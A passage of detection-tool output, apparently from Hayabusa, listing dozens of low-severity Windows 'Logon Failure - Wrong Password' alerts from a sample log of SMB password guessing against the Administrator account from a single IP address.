NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.986 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ncBraDdG2htkHjXU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.033 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Lo9DNrL44Z2S2SYR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.075 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QKcFiKC5QiIoHtxy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sqvq9GwuPCO15lUV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4XzgtJ3qUmkFiIY5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.215 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V1wc1Hjb4AK0Np1q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.253 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PKYNy0JyxIlFusMC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.298 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IrcKp13ut9M0pCi0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.341 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B3lJSH0r8iHAVhPF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.392 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ju3lCbvbwvkIKsBo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.435 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dQOHcZeAKQG6wHhC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.474 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QBPkgoKDLABqdSQb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wqj4xOCsJg1j3IIh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.561 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XhBIu6wUPHc3DZAy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W0fI1GhH5YTOHbNN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b7mLOWiojillZNYH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.702 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 37dknpwsl8j1WRWi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.748 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gzVum7a21sQe3fMt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.788 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JCFPSQmywelTXg74 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jCqb6TVV14hVX3NY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3qJsJrxVARedOdd3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.936 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s7iNkrkBNEbXPK0B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.975 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bio4zciNRolyeHc1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.026 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IFf1vN5MgAIsdZvx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.072 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zWhgUQSWAycVdYoS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ugHUJZuKHYfUHXWS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AUeUmYa72BzHfyhK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ksydur7W1mUoOZAE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.261 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YNIzopnsXH6OjcUs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SQljJkaWs8bcaOI1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1jejn6ZMo564m7ok : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.440 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KrpBO1SCHpt27CRM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ifPePsozBYRLCU3k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vve4r8QwaMLKrrcX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.569 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i9ArElR5k8yLefWu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4a1Y126C516BaGcz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VL7PnrO2dLsEbebQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.686 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GGTlLZ8J9f2PtiuL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6sVwPFs7bhJgJwRt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.772 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dgQNHL9etdHdRw9Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mjZrWpJlN2CwbxFc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.858 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 72lmrp6neWGKAURB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.896 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CnTi5dgoWunYutJ9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.936 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Vi2fTl07llsJEYyt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.980 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Hohh8KS1eYtojEya : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.020 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RsuC8F95UmsOSKvs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.064 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: be8UJ0EN7XS5r0b6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CgJlVYanwWKAhJ7O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zthqCIkr1nKtqcCj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tzmi8I402j71q5Wg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.244 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m0U3NYl8QEbgeJry : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uJJ1FOUIBInGkKPQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bu0X5RisszAHEs0X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.370 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5ZZfs8zqT2bLOAHq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.409 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qkpO31LzJfaYLyjB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.461 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BJrIsRTWUwPuySR7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.503 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VHNccqtwl9Y9IhLq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.536 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: APlvDcMzvms0gehT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.585 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AxOERGKI75RarVNZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uvzwd5qqC7og49yW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.662 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lksm3o2g0YhFnm4Z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zwXhSPCV4qHVF9Rc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: z31baZ4G36idFMeX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WK63qylKunHZB3zS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ALJxKGwyZz7JDpRg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.862 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q8tioTO3TEIzdzY0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.905 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5dIKTgQkvPKzKJoZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.947 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ta0IMrlArbgONhDG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.985 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MKNUu4624Rvr87kK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.032 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n7jIL2FkXzWqvWTJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.076 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oJMVh1zdQt7EikVj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.113 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5OqvximSAPlXZ3An : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.160 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tr2GQ1F3jccpWrsm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CCmbvQXXXzhHOdMG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qTp1BwPv8XiK2mrG : IP Address: 192.168.198.149 : AuthPackage: 